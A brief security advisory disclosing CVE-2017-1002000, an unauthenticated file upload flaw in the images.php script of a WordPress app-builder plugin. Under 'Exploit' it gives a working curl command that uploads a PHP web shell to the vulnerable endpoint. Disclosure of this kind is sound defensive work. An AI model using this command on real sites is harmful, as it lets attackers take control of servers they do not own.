Unrestricted File Upload vulnerability in Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0
File upload vulnerability
CVE ID(s):
CVE-2017-1002000
Summary: The code in file ./mobile-friendly-app-builder-by-easytouch/server/images.php doesn't require authentication or check that the user is allowed to upload content.
Notified: 2017-03-01
Description:
“Convert your WordPress site into native mobile apps”
Exploit:
$ curl -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/mobile-friendly-app-builder-by-easytouch/server/images.php"